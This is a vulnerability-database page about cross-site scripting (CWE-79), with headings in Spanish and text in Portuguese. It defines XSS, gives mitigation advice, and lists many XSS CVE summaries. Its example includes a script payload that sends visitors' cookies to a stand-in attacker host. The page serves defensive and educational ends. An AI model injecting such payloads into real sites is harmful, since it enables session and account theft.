Fallos del tipo CWE-79

29.250 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-4944MEDIUMAwesome Weather Widget <= 3.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2022-46686MEDIUMJenkins Custom Build Properties Plugin 2.79.vc095ccc85094 and earlier does not escape property values and build display names on the Custom EPSS 0.5%CVE-2023-24192MEDIUMOnline Food Ordering System v2 was discovered to contain a cross-site scripting (XSS) vulnerability via the redirect parameter in login.php.EPSS 0.5%CVE-2026-15715MEDIUMSourceCodester Class and Exam Timetabling System exam.php cross site scriptingEPSS 0.5%CVE-2023-24191MEDIUMOnline Food Ordering System v2 was discovered to contain a cross-site scripting (XSS) vulnerability via the redirect parameter in signup.phpEPSS 0.5%CVE-2026-14634MEDIUMkirilkirkov Ecommerce-CodeIgniter-Bootstrap Subscribed Emails Admin MY_Controller.php checkForPostRequests cross site scriptingEPSS 0.5%CVE-2023-0738MEDIUMOrangeScrum version 2.0.11 allows an external attacker to obtain arbitrary user accounts from the application. This is possible because the EPSS 0.5%CVE-2023-43342MEDIUMCross-site scripting (XSS) vulnerability in opensolution Quick CMS v.6.7 allows a local attacker to execute arbitrary code via a crafted scrEPSS 0.5%CVE-2026-14633MEDIUMkirilkirkov Ecommerce-CodeIgniter-Bootstrap Hidden REST API Endpoint set cross site scriptingEPSS 0.5%CVE-2024-53635MEDIUMA Reflected Cross Site Scripting (XSS) vulnerability was found in /covid-tms/patient-search-report.php in PHPGurukul COVID 19 Testing ManageEPSS 0.5%CVE-2023-28849CRITICALGLPI vulnerable to SQL injection and Stored XSS via inventory agent requestEPSS 0.5%CVE-2025-59545CRITICALDNN Vulnerable to Stored Cross-Site Scripting (XSS) in the Prompt moduleEPSS 0.5%CVE-2026-9566MEDIUMteableio teable Sign-up LoginPage.tsx cross site scriptingEPSS 0.5%CVE-2024-1323MEDIUMOrbit Fox by ThemeIsle <= 2.10.30 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-41599MEDIUMCross Site Scripting vulnerability in RuoYi v.4.7.9 and before allows a remote attacker to execute arbitrary code via the file upload methodEPSS 0.5%CVE-2023-0624MEDIUMOrangeScrum version 2.0.11 allows an external attacker to obtain arbitrary user accounts from the application. This is possible because the EPSS 0.5%CVE-2026-82805MEDIUMTypora Mermaid Rendering cross site scriptingEPSS 0.5%CVE-2021-37936MEDIUMIt was discovered that Kibana was not sanitizing document fields containing HTML snippets. Using this vulnerability, an attacker with the abEPSS 0.5%CVE-2024-4430MEDIUMBeaver Builder <= 2.8.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via photo widget crop attributeEPSS 0.5%CVE-2023-24195MEDIUMOnline Food Ordering System v2 was discovered to contain a cross-site scripting (XSS) vulnerability via the page parameter in index.php.EPSS 0.5%